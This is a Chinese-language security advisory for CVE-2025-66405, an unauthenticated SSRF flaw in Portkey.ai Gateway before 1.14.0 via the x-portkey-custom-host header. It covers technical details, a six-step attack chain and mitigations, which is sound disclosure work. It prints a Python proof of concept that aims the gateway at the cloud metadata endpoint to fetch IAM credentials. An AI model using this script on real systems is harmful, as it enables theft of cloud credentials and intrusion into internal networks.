IPBUF安全漏洞报告
English
CVE-2025-66405 CVSS 9.8 严重

CVE-2025-66405: Portkey.ai Gateway x-portkey-custom-host头SSRF漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66405
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Portkey.ai Gateway

相关标签

SSRF服务器端请求伪造Portkey.aiAI GatewayCVE-2025-66405请求头注入内部资源访问认证绕过

漏洞概述

CVE-2025-66405是Portkey.ai Gateway中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞影响1.14.0版本之前的所有Gateway版本。Portkey.ai Gateway是一个高性能的AI网关服务,集成了安全防护功能。在受影响的版本中,系统通过优先处理HTTP请求中的x-portkey-custom-host头来确定目标基础URL(baseURL),然后代理路由会将客户端指定的路径追加到这个baseURL上执行外部请求。攻击者可以利用这一机制,通过构造恶意的x-portkey-custom-host请求头,迫使网关向任意内部或外部资源发起请求,从而实施服务器端请求伪造(SSRF)攻击。成功利用此漏洞的攻击者可以在无需任何认证的情况下,从网关服务器向内部网络服务、云元数据端点、本地文件服务或其他敏感资源发起请求,可能导致敏感数据泄露、横向移动或进一步的攻击。

技术细节

Portkey.ai Gateway在处理代理请求时存在设计缺陷。系统允许客户端通过x-portkey-custom-host HTTP请求头指定自定义的目标主机地址。网关在处理请求时会优先使用该头部的值作为baseURL,然后将其与客户端请求的路径部分拼接后执行HTTP请求。这一设计允许攻击者绕过正常的目标URL配置,强制网关访问攻击者指定的目标地址。攻击者可以指定内部IP地址(如127.0.0.1、10.x.x.x、192.168.x.x)、云服务商元数据端点(如AWS 169.254.169.254)、本地文件服务(file://协议)或其他敏感资源。由于网关运行在服务器端,发起的请求具有服务器的信任级别和访问权限,因此可以访问那些直接来自外部网络无法访问的内部资源。攻击者通过精心构造的HTTP请求,利用代理功能将恶意请求转发到内部系统,从而实现对内网服务的未授权访问。

攻击链分析

STEP 1
步骤1
攻击者识别运行Portkey.ai Gateway且版本低于1.14.0的目标服务器
STEP 2
步骤2
攻击者构造带有x-portkey-custom-host头的HTTP请求,将该头设置为内部目标地址(如云元数据服务169.254.169.254)
STEP 3
步骤3
攻击者通过网关的代理功能发送请求,指定要访问的内部路径(如AWS元数据端点路径)
STEP 4
步骤4
网关优先使用x-portkey-custom-host头的值作为baseURL,与请求路径拼接后发起内部请求
STEP 5
步骤5
由于请求从网关服务器发起,具有内部网络访问权限,可以成功访问敏感内部资源
STEP 6
步骤6
攻击者获取返回的敏感信息(如云服务凭证、内部配置数据等),用于进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66405 PoC - SSRF via x-portkey-custom-host header # Target: Portkey.ai Gateway < 1.14.0 import requests import sys def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in Portkey.ai Gateway by abusing x-portkey-custom-host header """ # Target internal service (e.g., cloud metadata endpoint) headers = { 'x-portkey-custom-host': internal_target, 'x-portkey-api-key': 'anything', # Any API key works } # Path to request on the target internal service path = '/latest/meta-data/iam/security-credentials/' try: response = requests.get( f'{target_url}/v1/chat/completions', headers=headers, params={'path': path}, timeout=10 ) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') return response except requests.exceptions.RequestException as e: print(f'Request failed: {e}') return None # Example usage if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python poc.py <gateway_url> <internal_target>') print('Example: python poc.py http://target:8787 http://169.254.169.254') sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

影响范围

Portkey.ai Gateway < 1.14.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网关前部署WAF,阻止或限制x-portkey-custom-host请求头;2) 配置网络访问控制列表(ACL),限制网关服务器只能访问必要的外部服务;3) 启用详细的请求日志和告警,监控异常的请求行为;4) 考虑使用IP黑名单机制,阻止对已知恶意内部地址的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表